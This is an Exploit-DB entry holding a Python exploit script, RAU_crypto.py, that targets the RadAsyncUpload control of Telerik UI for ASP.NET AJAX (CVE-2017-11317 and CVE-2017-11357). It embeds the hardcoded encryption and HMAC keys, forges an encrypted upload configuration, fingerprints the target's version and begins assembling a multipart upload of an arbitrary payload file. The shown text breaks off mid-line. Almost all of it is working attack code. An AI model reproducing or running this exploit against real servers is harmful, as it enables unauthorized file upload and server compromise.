Exploit-DB #43874
Description: Telerik UI for ASP.NET AJAX 2012.3.1308 < 2017.1.118 - Arbitrary File Upload
Type: webapps
Platform: aspx
Date: 2018-01-24
Author: Paul Taylor

Exploit:
# Exploit Title: Telerik UI for ASP.NET AJAX RadAsyncUpload uploader
# Filename: RAU_crypto.py
# Github: https://github.com/bao7uo/RAU_crypto
# Date: 2018-01-23

# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog

# Version: Telerik UI for ASP.NET AJAX 
# CVE: CVE-2017-11317, CVE-2017-11357
# Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
# Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/insecure-direct-object-reference

# Tested on: Working on versions 2012.3.1308 thru 2017.1.118 (.NET 35, 40, 45)

#!/usr/bin/python3

# Author: Paul Taylor / Foregenix Ltd
# https://github.com/bao7uo/RAU_crypto/blob/master/RAU_crypto.py

# RAU crypto - Exploiting CVE-2017-11317, CVE-2017-11357

# Telerik Web UI for ASP.NET AJAX
# RadAsyncUpload hardcoded keys / insecure direct object reference
# Arbitrary file upload

# Telerik fixed in June 2017 by removing default keys in
# versions R2 2017 SP1 (2017.2.621) and providing the ability to disable the
# RadAsyncUpload feature in R2 2017 SP2 (2017.2.711)

# https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/unrestricted-file-upload
# https://www.telerik.com/support/kb/aspnet-ajax/upload-(async)/details/insecure-direct-object-reference
# http://docs.telerik.com/devtools/aspnet-ajax/controls/asyncupload/security

# http://target/Telerik.Web.UI.WebResource.axd?type=rau

import sys
import base64
import json
import re
import requests
from Crypto.Cipher import AES
from Crypto.Hash import HMAC
from Crypto.Hash import SHA256

import binascii

# Warning, the below prevents certificate warnings,
# and verify = False in the later code prevents them being verified

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


class RAUCipher:
    key = binascii.unhexlify("EB8AF90FDE30FECBE330E807CF0B4252" +
                             "A44E9F06A2EA4AF10B046F598DD3EA0C")
    iv = binascii.unhexlify("E330E807CF0B425255A3A561A707D269")

    def encrypt(plaintext):
        sys.stderr.write("Encrypting... ")
        encoded = ""
        for i in plaintext:
            encoded = encoded + i + "\x00"
        plaintext = encoded + (
                                chr(16 - (len(encoded) % 16)) *
                                (16 - (len(encoded) % 16))
                            )
        cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv)
        sys.stderr.write("done\n")
        return base64.b64encode(cipher.encrypt(plaintext)).decode()

    def decrypt(ciphertext):
        sys.stderr.write("Decrypting... ")
        ciphertext = base64.b64decode(ciphertext)
        cipher = AES.new(RAUCipher.key, AES.MODE_CBC, RAUCipher.iv)
        unpad = lambda s: s[0:-ord(chr(s[-1]))]
        sys.stderr.write("done\n")
        return unpad(cipher.decrypt(ciphertext[0:])).decode()[0::2]

    def addHmac(string, Version):

        isHmacVersion = False

        # "Encrypt-then-MAC" feature introduced in R1 2017
        # Required for "2017.1.118", "2017.1.228", "2017.2.503"

        if "2017" in Version:
            isHmacVersion = True

        hmac = HMAC.new(
            b'PrivateKeyForHashOfUploadConfiguration',
            bytes(string.encode()),
            SHA256.new()
            )
        hmac = base64.b64encode(hmac.digest()).decode()
        return string + hmac if isHmacVersion else string


def rauPostData_prep(quiet, TempTargetFolder, Version):
    TargetFolder = RAUCipher.addHmac(
                                "jgas0meSrU/uP/TPzrhDTw==",
                                Version
                                )
    TempTargetFolder = RAUCipher.addHmac(
                                RAUCipher.encrypt(TempTargetFolder),
                                Version
                                )

    rauJSONplaintext = \
        '{"TargetFolder":"' + TargetFolder + '","TempTargetFolder":"' + \
        TempTargetFolder + \
        '","MaxFileSize":0,"TimeToLive":{"Ticks":[PII_REDACTED]00,"Days":0,"Hours":40,"Minutes":0,"Seconds":0,"Milliseconds":0,"TotalDays":1.[PII_REDACTED],"TotalHours":40,"TotalMinutes":2400,"TotalSeconds":144000,"TotalMilliseconds":144000000},"UseApplicationPoolImpersonation":false}'
    if not quiet:
        print("JSON: " + rauJSONplaintext + "\n")
    rauPostData = RAUCipher.encrypt(rauJSONplaintext) + "&"
    rauVersionplaintext = \
        "Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=" + \
        Version + \
        ", Culture=neutral, PublicKeyToken=121fae78165ba3d4"
    if not quiet:
        print("Version: " + rauVersionplaintext + "\n")
    rauPostData += RAUCipher.encrypt(rauVersionplaintext)
    return rauPostData


def getVersion(url):
    sys.stderr.write("Contacting server... ")
    response = requests.get(url, verify=False)
    html = response.text
    sys.stderr.write("done\n")
    match = re.search(
        '((?<=\<\!-- )20\d{2}(.\d+)+(?= --\>))|' +
        '(?<=Version%3d)20\d{2}(.\d+)+(?=%2c)|' +
        '(?<=Version=)20\d{2}(.\d+)+(?=,)',
        html
        )

    if match:
        return match.group(0)
    else:
        return "No version result"


def payload(TempTargetFolder, Version, payload_filename):
    sys.stderr.write("file: " + payload_filename + "\n")
    sys.stderr.write("version: " + Version + "\n")
    sys.stderr.write("destination " + TempTargetFolder + "\n")
    sys.stderr.write("Preparing payload... \n")
    payload_file = open(payload_filename, "r")
    payload_file_data = payload_file.read()
    payload_file.close()
    quiet = True

    data = "----------------------------[PII_REDACTED]8156\r\n"
    data += "Content-Disposition: form-data; name=\"rauPostData\"\r\n"
    data += "\r\n"
    data += rau